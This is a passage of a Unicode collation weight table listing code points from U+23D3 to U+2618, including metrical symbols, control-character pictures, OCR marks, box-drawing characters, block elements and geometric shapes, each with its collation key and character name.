[*0799.0020.0002] # METRICAL LONG OVER SHORT +23D3 ; [*079A.0020.0002] # METRICAL SHORT OVER LONG +23D4 ; [*079B.0020.0002] # METRICAL LONG OVER TWO SHORTS +23D5 ; [*079C.0020.0002] # METRICAL TWO SHORTS OVER LONG +23D6 ; [*079D.0020.0002] # METRICAL TWO SHORTS JOINED +23D7 ; [*079E.0020.0002] # METRICAL TRISEME +23D8 ; [*079F.0020.0002] # METRICAL TETRASEME +23D9 ; [*07A0.0020.0002] # METRICAL PENTASEME +23DA ; [*07A1.0020.0002] # EARTH GROUND +23DB ; [*07A2.0020.0002] # FUSE +23DC ; [*07A3.0020.0002] # TOP PARENTHESIS +23DD ; [*07A4.0020.0002] # BOTTOM PARENTHESIS +23DE ; [*07A5.0020.0002] # TOP CURLY BRACKET +23DF ; [*07A6.0020.0002] # BOTTOM CURLY BRACKET +23E0 ; [*07A7.0020.0002] # TOP TORTOISE SHELL BRACKET +23E1 ; [*07A8.0020.0002] # BOTTOM TORTOISE SHELL BRACKET +23E2 ; [*07A9.0020.0002] # WHITE TRAPEZIUM +23E3 ; [*07AA.0020.0002] # BENZENE RING WITH CIRCLE +23E4 ; [*07AB.0020.0002] # STRAIGHTNESS +23E5 ; [*07AC.0020.0002] # FLATNESS +23E6 ; [*07AD.0020.0002] # AC CURRENT +23E7 ; [*07AE.0020.0002] # ELECTRICAL INTERSECTION +23E8 ; [*07AF.0020.0002] # DECIMAL EXPONENT SYMBOL +23E9 ; [*07B0.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE +23EA ; [*07B1.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE +23EB ; [*07B2.0020.0002] # BLACK UP-POINTING DOUBLE TRIANGLE +23EC ; [*07B3.0020.0002] # BLACK DOWN-POINTING DOUBLE TRIANGLE +23ED ; [*07B4.0020.0002] # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23EE ; [*07B5.0020.0002] # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23EF ; [*07B6.0020.0002] # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR +23F0 ; [*07B7.0020.0002] # ALARM CLOCK +23F1 ; [*07B8.0020.0002] # STOPWATCH +23F2 ; [*07B9.0020.0002] # TIMER CLOCK +23F3 ; [*07BA.0020.0002] # HOURGLASS WITH FLOWING SAND +23F4 ; [*07BB.0020.0002] # BLACK MEDIUM LEFT-POINTING TRIANGLE +23F5 ; [*07BC.0020.0002] # BLACK MEDIUM RIGHT-POINTING TRIANGLE +23F6 ; [*07BD.0020.0002] # BLACK MEDIUM UP-POINTING TRIANGLE +23F7 ; [*07BE.0020.0002] # BLACK MEDIUM DOWN-POINTING TRIANGLE +23F8 ; [*07BF.0020.0002] # DOUBLE VERTICAL BAR +23F9 ; [*07C0.0020.0002] # BLACK SQUARE FOR STOP +23FA ; [*07C1.0020.0002] # BLACK CIRCLE FOR RECORD +2400 ; [*07C2.0020.0002] # SYMBOL FOR NULL +2401 ; [*07C3.0020.0002] # SYMBOL FOR START OF HEADING +2402 ; [*07C4.0020.0002] # SYMBOL FOR START OF TEXT +2403 ; [*07C5.0020.0002] # SYMBOL FOR END OF TEXT +2404 ; [*07C6.0020.0002] # SYMBOL FOR END OF TRANSMISSION +2405 ; [*07C7.0020.0002] # SYMBOL FOR ENQUIRY +2406 ; [*07C8.0020.0002] # SYMBOL FOR ACKNOWLEDGE +2407 ; [*07C9.0020.0002] # SYMBOL FOR BELL +2408 ; [*07CA.0020.0002] # SYMBOL FOR BACKSPACE +2409 ; [*07CB.0020.0002] # SYMBOL FOR HORIZONTAL TABULATION +240A ; [*07CC.0020.0002] # SYMBOL FOR LINE FEED +240B ; [*07CD.0020.0002] # SYMBOL FOR VERTICAL TABULATION +240C ; [*07CE.0020.0002] # SYMBOL FOR FORM FEED +240D ; [*07CF.0020.0002] # SYMBOL FOR CARRIAGE RETURN +240E ; [*07D0.0020.0002] # SYMBOL FOR SHIFT OUT +240F ; [*07D1.0020.0002] # SYMBOL FOR SHIFT IN +2410 ; [*07D2.0020.0002] # SYMBOL FOR DATA LINK ESCAPE +2411 ; [*07D3.0020.0002] # SYMBOL FOR DEVICE CONTROL ONE +2412 ; [*07D4.0020.0002] # SYMBOL FOR DEVICE CONTROL TWO +2413 ; [*07D5.0020.0002] # SYMBOL FOR DEVICE CONTROL THREE +2414 ; [*07D6.0020.0002] # SYMBOL FOR DEVICE CONTROL FOUR +2415 ; [*07D7.0020.0002] # SYMBOL FOR NEGATIVE ACKNOWLEDGE +2416 ; [*07D8.0020.0002] # SYMBOL FOR SYNCHRONOUS IDLE +2417 ; [*07D9.0020.0002] # SYMBOL FOR END OF TRANSMISSION BLOCK +2418 ; [*07DA.0020.0002] # SYMBOL FOR CANCEL +2419 ; [*07DB.0020.0002] # SYMBOL FOR END OF MEDIUM +241A ; [*07DC.0020.0002] # SYMBOL FOR SUBSTITUTE +241B ; [*07DD.0020.0002] # SYMBOL FOR ESCAPE +241C ; [*07DE.0020.0002] # SYMBOL FOR FILE SEPARATOR +241D ; [*07DF.0020.0002] # SYMBOL FOR GROUP SEPARATOR +241E ; [*07E0.0020.0002] # SYMBOL FOR RECORD SEPARATOR +241F ; [*07E1.0020.0002] # SYMBOL FOR UNIT SEPARATOR +2420 ; [*07E2.0020.0002] # SYMBOL FOR SPACE +2421 ; [*07E3.0020.0002] # SYMBOL FOR DELETE +2422 ; [*07E4.0020.0002] # BLANK SYMBOL +2423 ; [*07E5.0020.0002] # OPEN BOX +2424 ; [*07E6.0020.0002] # SYMBOL FOR NEWLINE +2425 ; [*07E7.0020.0002] # SYMBOL FOR DELETE FORM TWO +2426 ; [*07E8.0020.0002] # SYMBOL FOR SUBSTITUTE FORM TWO +2440 ; [*07E9.0020.0002] # OCR HOOK +2441 ; [*07EA.0020.0002] # OCR CHAIR +2442 ; [*07EB.0020.0002] # OCR FORK +2443 ; [*07EC.0020.0002] # OCR INVERTED FORK +2444 ; [*07ED.0020.0002] # OCR BELT BUCKLE +2445 ; [*07EE.0020.0002] # OCR BOW TIE +2446 ; [*07EF.0020.0002] # OCR BRANCH BANK IDENTIFICATION +2447 ; [*07F0.0020.0002] # OCR AMOUNT OF CHECK +2448 ; [*07F1.0020.0002] # OCR DASH +2449 ; [*07F2.0020.0002] # OCR CUSTOMER ACCOUNT NUMBER +244A ; [*07F3.0020.0002] # OCR DOUBLE BACKSLASH +2500 ; [*07F4.0020.0002] # BOX DRAWINGS LIGHT HORIZONTAL +2501 ; [*07F5.0020.0002] # BOX DRAWINGS HEAVY HORIZONTAL +2502 ; [*07F6.0020.0002] # BOX DRAWINGS LIGHT VERTICAL +2503 ; [*07F7.0020.0002] # BOX DRAWINGS HEAVY VERTICAL +2504 ; [*07F8.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH HORIZONTAL +2505 ; [*07F9.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH HORIZONTAL +2506 ; [*07FA.0020.0002] # BOX DRAWINGS LIGHT TRIPLE DASH VERTICAL +2507 ; [*07FB.0020.0002] # BOX DRAWINGS HEAVY TRIPLE DASH VERTICAL +2508 ; [*07FC.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH HORIZONTAL +2509 ; [*07FD.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH HORIZONTAL +250A ; [*07FE.0020.0002] # BOX DRAWINGS LIGHT QUADRUPLE DASH VERTICAL +250B ; [*07FF.0020.0002] # BOX DRAWINGS HEAVY QUADRUPLE DASH VERTICAL +250C ; [*0800.0020.0002] # BOX DRAWINGS LIGHT DOWN AND RIGHT +250D ; [*0801.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT HEAVY +250E ; [*0802.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT LIGHT +250F ; [*0803.0020.0002] # BOX DRAWINGS HEAVY DOWN AND RIGHT +2510 ; [*0804.0020.0002] # BOX DRAWINGS LIGHT DOWN AND LEFT +2511 ; [*0805.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT HEAVY +2512 ; [*0806.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT LIGHT +2513 ; [*0807.0020.0002] # BOX DRAWINGS HEAVY DOWN AND LEFT +2514 ; [*0808.0020.0002] # BOX DRAWINGS LIGHT UP AND RIGHT +2515 ; [*0809.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT HEAVY +2516 ; [*080A.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT LIGHT +2517 ; [*080B.0020.0002] # BOX DRAWINGS HEAVY UP AND RIGHT +2518 ; [*080C.0020.0002] # BOX DRAWINGS LIGHT UP AND LEFT +2519 ; [*080D.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT HEAVY +251A ; [*080E.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT LIGHT +251B ; [*080F.0020.0002] # BOX DRAWINGS HEAVY UP AND LEFT +251C ; [*0810.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND RIGHT +251D ; [*0811.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND RIGHT HEAVY +251E ; [*0812.0020.0002] # BOX DRAWINGS UP HEAVY AND RIGHT DOWN LIGHT +251F ; [*0813.0020.0002] # BOX DRAWINGS DOWN HEAVY AND RIGHT UP LIGHT +2520 ; [*0814.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND RIGHT LIGHT +2521 ; [*0815.0020.0002] # BOX DRAWINGS DOWN LIGHT AND RIGHT UP HEAVY +2522 ; [*0816.0020.0002] # BOX DRAWINGS UP LIGHT AND RIGHT DOWN HEAVY +2523 ; [*0817.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND RIGHT +2524 ; [*0818.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND LEFT +2525 ; [*0819.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND LEFT HEAVY +2526 ; [*081A.0020.0002] # BOX DRAWINGS UP HEAVY AND LEFT DOWN LIGHT +2527 ; [*081B.0020.0002] # BOX DRAWINGS DOWN HEAVY AND LEFT UP LIGHT +2528 ; [*081C.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND LEFT LIGHT +2529 ; [*081D.0020.0002] # BOX DRAWINGS DOWN LIGHT AND LEFT UP HEAVY +252A ; [*081E.0020.0002] # BOX DRAWINGS UP LIGHT AND LEFT DOWN HEAVY +252B ; [*081F.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND LEFT +252C ; [*0820.0020.0002] # BOX DRAWINGS LIGHT DOWN AND HORIZONTAL +252D ; [*0821.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT DOWN LIGHT +252E ; [*0822.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT DOWN LIGHT +252F ; [*0823.0020.0002] # BOX DRAWINGS DOWN LIGHT AND HORIZONTAL HEAVY +2530 ; [*0824.0020.0002] # BOX DRAWINGS DOWN HEAVY AND HORIZONTAL LIGHT +2531 ; [*0825.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT DOWN HEAVY +2532 ; [*0826.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT DOWN HEAVY +2533 ; [*0827.0020.0002] # BOX DRAWINGS HEAVY DOWN AND HORIZONTAL +2534 ; [*0828.0020.0002] # BOX DRAWINGS LIGHT UP AND HORIZONTAL +2535 ; [*0829.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT UP LIGHT +2536 ; [*082A.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT UP LIGHT +2537 ; [*082B.0020.0002] # BOX DRAWINGS UP LIGHT AND HORIZONTAL HEAVY +2538 ; [*082C.0020.0002] # BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT +2539 ; [*082D.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY +253A ; [*082E.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY +253B ; [*082F.0020.0002] # BOX DRAWINGS HEAVY UP AND HORIZONTAL +253C ; [*0830.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL +253D ; [*0831.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT +253E ; [*0832.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT +253F ; [*0833.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY +2540 ; [*0834.0020.0002] # BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT +2541 ; [*0835.0020.0002] # BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT +2542 ; [*0836.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT +2543 ; [*0837.0020.0002] # BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT +2544 ; [*0838.0020.0002] # BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT +2545 ; [*0839.0020.0002] # BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT +2546 ; [*083A.0020.0002] # BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT +2547 ; [*083B.0020.0002] # BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY +2548 ; [*083C.0020.0002] # BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY +2549 ; [*083D.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY +254A ; [*083E.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY +254B ; [*083F.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL +254C ; [*0840.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL +254D ; [*0841.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL +254E ; [*0842.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL +254F ; [*0843.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL +2550 ; [*0844.0020.0002] # BOX DRAWINGS DOUBLE HORIZONTAL +2551 ; [*0845.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL +2552 ; [*0846.0020.0002] # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE +2553 ; [*0847.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE +2554 ; [*0848.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND RIGHT +2555 ; [*0849.0020.0002] # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE +2556 ; [*084A.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE +2557 ; [*084B.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND LEFT +2558 ; [*084C.0020.0002] # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE +2559 ; [*084D.0020.0002] # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE +255A ; [*084E.0020.0002] # BOX DRAWINGS DOUBLE UP AND RIGHT +255B ; [*084F.0020.0002] # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE +255C ; [*0850.0020.0002] # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE +255D ; [*0851.0020.0002] # BOX DRAWINGS DOUBLE UP AND LEFT +255E ; [*0852.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE +255F ; [*0853.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE +2560 ; [*0854.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT +2561 ; [*0855.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE +2562 ; [*0856.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE +2563 ; [*0857.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND LEFT +2564 ; [*0858.0020.0002] # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE +2565 ; [*0859.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE +2566 ; [*085A.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL +2567 ; [*085B.0020.0002] # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE +2568 ; [*085C.0020.0002] # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE +2569 ; [*085D.0020.0002] # BOX DRAWINGS DOUBLE UP AND HORIZONTAL +256A ; [*085E.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE +256B ; [*085F.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE +256C ; [*0860.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL +256D ; [*0861.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND RIGHT +256E ; [*0862.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND LEFT +256F ; [*0863.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND LEFT +2570 ; [*0864.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND RIGHT +2571 ; [*0865.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT +2572 ; [*0866.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT +2573 ; [*0867.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL CROSS +2574 ; [*0868.0020.0002] # BOX DRAWINGS LIGHT LEFT +2575 ; [*0869.0020.0002] # BOX DRAWINGS LIGHT UP +2576 ; [*086A.0020.0002] # BOX DRAWINGS LIGHT RIGHT +2577 ; [*086B.0020.0002] # BOX DRAWINGS LIGHT DOWN +2578 ; [*086C.0020.0002] # BOX DRAWINGS HEAVY LEFT +2579 ; [*086D.0020.0002] # BOX DRAWINGS HEAVY UP +257A ; [*086E.0020.0002] # BOX DRAWINGS HEAVY RIGHT +257B ; [*086F.0020.0002] # BOX DRAWINGS HEAVY DOWN +257C ; [*0870.0020.0002] # BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT +257D ; [*0871.0020.0002] # BOX DRAWINGS LIGHT UP AND HEAVY DOWN +257E ; [*0872.0020.0002] # BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT +257F ; [*0873.0020.0002] # BOX DRAWINGS HEAVY UP AND LIGHT DOWN +2580 ; [*0874.0020.0002] # UPPER HALF BLOCK +2581 ; [*0875.0020.0002] # LOWER ONE EIGHTH BLOCK +2582 ; [*0876.0020.0002] # LOWER ONE QUARTER BLOCK +2583 ; [*0877.0020.0002] # LOWER THREE EIGHTHS BLOCK +2584 ; [*0878.0020.0002] # LOWER HALF BLOCK +2585 ; [*0879.0020.0002] # LOWER FIVE EIGHTHS BLOCK +2586 ; [*087A.0020.0002] # LOWER THREE QUARTERS BLOCK +2587 ; [*087B.0020.0002] # LOWER SEVEN EIGHTHS BLOCK +2588 ; [*087C.0020.0002] # FULL BLOCK +2589 ; [*087D.0020.0002] # LEFT SEVEN EIGHTHS BLOCK +258A ; [*087E.0020.0002] # LEFT THREE QUARTERS BLOCK +258B ; [*087F.0020.0002] # LEFT FIVE EIGHTHS BLOCK +258C ; [*0880.0020.0002] # LEFT HALF BLOCK +258D ; [*0881.0020.0002] # LEFT THREE EIGHTHS BLOCK +258E ; [*0882.0020.0002] # LEFT ONE QUARTER BLOCK +258F ; [*0883.0020.0002] # LEFT ONE EIGHTH BLOCK +2590 ; [*0884.0020.0002] # RIGHT HALF BLOCK +2591 ; [*0885.0020.0002] # LIGHT SHADE +2592 ; [*0886.0020.0002] # MEDIUM SHADE +2593 ; [*0887.0020.0002] # DARK SHADE +2594 ; [*0888.0020.0002] # UPPER ONE EIGHTH BLOCK +2595 ; [*0889.0020.0002] # RIGHT ONE EIGHTH BLOCK +2596 ; [*088A.0020.0002] # QUADRANT LOWER LEFT +2597 ; [*088B.0020.0002] # QUADRANT LOWER RIGHT +2598 ; [*088C.0020.0002] # QUADRANT UPPER LEFT +2599 ; [*088D.0020.0002] # QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT +259A ; [*088E.0020.0002] # QUADRANT UPPER LEFT AND LOWER RIGHT +259B ; [*088F.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT +259C ; [*0890.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT +259D ; [*0891.0020.0002] # QUADRANT UPPER RIGHT +259E ; [*0892.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT +259F ; [*0893.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT +25A0 ; [*0894.0020.0002] # BLACK SQUARE +25A1 ; [*0895.0020.0002] # WHITE SQUARE +25A2 ; [*0896.0020.0002] # WHITE SQUARE WITH ROUNDED CORNERS +25A3 ; [*0897.0020.0002] # WHITE SQUARE CONTAINING BLACK SMALL SQUARE +25A4 ; [*0898.0020.0002] # SQUARE WITH HORIZONTAL FILL +25A5 ; [*0899.0020.0002] # SQUARE WITH VERTICAL FILL +25A6 ; [*089A.0020.0002] # SQUARE WITH ORTHOGONAL CROSSHATCH FILL +25A7 ; [*089B.0020.0002] # SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL +25A8 ; [*089C.0020.0002] # SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL +25A9 ; [*089D.0020.0002] # SQUARE WITH DIAGONAL CROSSHATCH FILL +25AA ; [*089E.0020.0002] # BLACK SMALL SQUARE +25AB ; [*089F.0020.0002] # WHITE SMALL SQUARE +25AC ; [*08A0.0020.0002] # BLACK RECTANGLE +25AD ; [*08A1.0020.0002] # WHITE RECTANGLE +25AE ; [*08A2.0020.0002] # BLACK VERTICAL RECTANGLE +25AF ; [*08A3.0020.0002] # WHITE VERTICAL RECTANGLE +25B0 ; [*08A4.0020.0002] # BLACK PARALLELOGRAM +25B1 ; [*08A5.0020.0002] # WHITE PARALLELOGRAM +25B2 ; [*08A6.0020.0002] # BLACK UP-POINTING TRIANGLE +25B3 ; [*08A7.0020.0002] # WHITE UP-POINTING TRIANGLE +25B4 ; [*08A8.0020.0002] # BLACK UP-POINTING SMALL TRIANGLE +25B5 ; [*08A9.0020.0002] # WHITE UP-POINTING SMALL TRIANGLE +25B6 ; [*08AA.0020.0002] # BLACK RIGHT-POINTING TRIANGLE +25B7 ; [*08AB.0020.0002] # WHITE RIGHT-POINTING TRIANGLE +25B8 ; [*08AC.0020.0002] # BLACK RIGHT-POINTING SMALL TRIANGLE +25B9 ; [*08AD.0020.0002] # WHITE RIGHT-POINTING SMALL TRIANGLE +25BA ; [*08AE.0020.0002] # BLACK RIGHT-POINTING POINTER +25BB ; [*08AF.0020.0002] # WHITE RIGHT-POINTING POINTER +25BC ; [*08B0.0020.0002] # BLACK DOWN-POINTING TRIANGLE +25BD ; [*08B1.0020.0002] # WHITE DOWN-POINTING TRIANGLE +25BE ; [*08B2.0020.0002] # BLACK DOWN-POINTING SMALL TRIANGLE +25BF ; [*08B3.0020.0002] # WHITE DOWN-POINTING SMALL TRIANGLE +25C0 ; [*08B4.0020.0002] # BLACK LEFT-POINTING TRIANGLE +25C1 ; [*08B5.0020.0002] # WHITE LEFT-POINTING TRIANGLE +25C2 ; [*08B6.0020.0002] # BLACK LEFT-POINTING SMALL TRIANGLE +25C3 ; [*08B7.0020.0002] # WHITE LEFT-POINTING SMALL TRIANGLE +25C4 ; [*08B8.0020.0002] # BLACK LEFT-POINTING POINTER +25C5 ; [*08B9.0020.0002] # WHITE LEFT-POINTING POINTER +25C6 ; [*08BA.0020.0002] # BLACK DIAMOND +25C7 ; [*08BB.0020.0002] # WHITE DIAMOND +25C8 ; [*08BC.0020.0002] # WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND +25C9 ; [*08BD.0020.0002] # FISHEYE +25CA ; [*08BE.0020.0002] # LOZENGE +25CB ; [*08BF.0020.0002] # WHITE CIRCLE +25CC ; [*08C0.0020.0002] # DOTTED CIRCLE +25CD ; [*08C1.0020.0002] # CIRCLE WITH VERTICAL FILL +25CE ; [*08C2.0020.0002] # BULLSEYE +25CF ; [*08C3.0020.0002] # BLACK CIRCLE +25D0 ; [*08C4.0020.0002] # CIRCLE WITH LEFT HALF BLACK +25D1 ; [*08C5.0020.0002] # CIRCLE WITH RIGHT HALF BLACK +25D2 ; [*08C6.0020.0002] # CIRCLE WITH LOWER HALF BLACK +25D3 ; [*08C7.0020.0002] # CIRCLE WITH UPPER HALF BLACK +25D4 ; [*08C8.0020.0002] # CIRCLE WITH UPPER RIGHT QUADRANT BLACK +25D5 ; [*08C9.0020.0002] # CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK +25D6 ; [*08CA.0020.0002] # LEFT HALF BLACK CIRCLE +25D7 ; [*08CB.0020.0002] # RIGHT HALF BLACK CIRCLE +25D8 ; [*08CC.0020.0002] # INVERSE BULLET +25D9 ; [*08CD.0020.0002] # INVERSE WHITE CIRCLE +25DA ; [*08CE.0020.0002] # UPPER HALF INVERSE WHITE CIRCLE +25DB ; [*08CF.0020.0002] # LOWER HALF INVERSE WHITE CIRCLE +25DC ; [*08D0.0020.0002] # UPPER LEFT QUADRANT CIRCULAR ARC +25DD ; [*08D1.0020.0002] # UPPER RIGHT QUADRANT CIRCULAR ARC +25DE ; [*08D2.0020.0002] # LOWER RIGHT QUADRANT CIRCULAR ARC +25DF ; [*08D3.0020.0002] # LOWER LEFT QUADRANT CIRCULAR ARC +25E0 ; [*08D4.0020.0002] # UPPER HALF CIRCLE +25E1 ; [*08D5.0020.0002] # LOWER HALF CIRCLE +25E2 ; [*08D6.0020.0002] # BLACK LOWER RIGHT TRIANGLE +25E3 ; [*08D7.0020.0002] # BLACK LOWER LEFT TRIANGLE +25E4 ; [*08D8.0020.0002] # BLACK UPPER LEFT TRIANGLE +25E5 ; [*08D9.0020.0002] # BLACK UPPER RIGHT TRIANGLE +25E6 ; [*08DA.0020.0002] # WHITE BULLET +25E7 ; [*08DB.0020.0002] # SQUARE WITH LEFT HALF BLACK +25E8 ; [*08DC.0020.0002] # SQUARE WITH RIGHT HALF BLACK +25E9 ; [*08DD.0020.0002] # SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK +25EA ; [*08DE.0020.0002] # SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK +25EB ; [*08DF.0020.0002] # WHITE SQUARE WITH VERTICAL BISECTING LINE +25EC ; [*08E0.0020.0002] # WHITE UP-POINTING TRIANGLE WITH DOT +25ED ; [*08E1.0020.0002] # UP-POINTING TRIANGLE WITH LEFT HALF BLACK +25EE ; [*08E2.0020.0002] # UP-POINTING TRIANGLE WITH RIGHT HALF BLACK +25EF ; [*08E3.0020.0002] # LARGE CIRCLE +25F0 ; [*08E4.0020.0002] # WHITE SQUARE WITH UPPER LEFT QUADRANT +25F1 ; [*08E5.0020.0002] # WHITE SQUARE WITH LOWER LEFT QUADRANT +25F2 ; [*08E6.0020.0002] # WHITE SQUARE WITH LOWER RIGHT QUADRANT +25F3 ; [*08E7.0020.0002] # WHITE SQUARE WITH UPPER RIGHT QUADRANT +25F4 ; [*08E8.0020.0002] # WHITE CIRCLE WITH UPPER LEFT QUADRANT +25F5 ; [*08E9.0020.0002] # WHITE CIRCLE WITH LOWER LEFT QUADRANT +25F6 ; [*08EA.0020.0002] # WHITE CIRCLE WITH LOWER RIGHT QUADRANT +25F7 ; [*08EB.0020.0002] # WHITE CIRCLE WITH UPPER RIGHT QUADRANT +25F8 ; [*08EC.0020.0002] # UPPER LEFT TRIANGLE +25F9 ; [*08ED.0020.0002] # UPPER RIGHT TRIANGLE +25FA ; [*08EE.0020.0002] # LOWER LEFT TRIANGLE +25FB ; [*08EF.0020.0002] # WHITE MEDIUM SQUARE +25FC ; [*08F0.0020.0002] # BLACK MEDIUM SQUARE +25FD ; [*08F1.0020.0002] # WHITE MEDIUM SMALL SQUARE +25FE ; [*08F2.0020.0002] # BLACK MEDIUM SMALL SQUARE +25FF ; [*08F3.0020.0002] # LOWER RIGHT TRIANGLE +2600 ; [*08F4.0020.0002] # BLACK SUN WITH RAYS +2601 ; [*08F5.0020.0002] # CLOUD +2602 ; [*08F6.0020.0002] # UMBRELLA +2603 ; [*08F7.0020.0002] # SNOWMAN +2604 ; [*08F8.0020.0002] # COMET +2605 ; [*08F9.0020.0002] # BLACK STAR +2606 ; [*08FA.0020.0002] # WHITE STAR +2607 ; [*08FB.0020.0002] # LIGHTNING +2608 ; [*08FC.0020.0002] # THUNDERSTORM +2609 ; [*08FD.0020.0002] # SUN +260A ; [*08FE.0020.0002] # ASCENDING NODE +260B ; [*08FF.0020.0002] # DESCENDING NODE +260C ; [*0900.0020.0002] # CONJUNCTION +260D ; [*0901.0020.0002] # OPPOSITION +260E ; [*0902.0020.0002] # BLACK TELEPHONE +260F ; [*0903.0020.0002] # WHITE TELEPHONE +2610 ; [*0904.0020.0002] # BALLOT BOX +2611 ; [*0905.0020.0002] # BALLOT BOX WITH CHECK +2612 ; [*0906.0020.0002] # BALLOT BOX WITH X +2613 ; [*0907.0020.0002] # SALTIRE +2614 ; [*0908.0020.0002] # UMBRELLA WITH RAIN DROPS +2615 ; [*0909.0020.0002] # HOT BEVERAGE +2616 ; [*090A.0020.0002] # WHITE SHOGI PIECE +2617 ; [*090B.0020.0002] # BLACK SHOGI PIECE +2618 ; [*090C.0020.0002] # 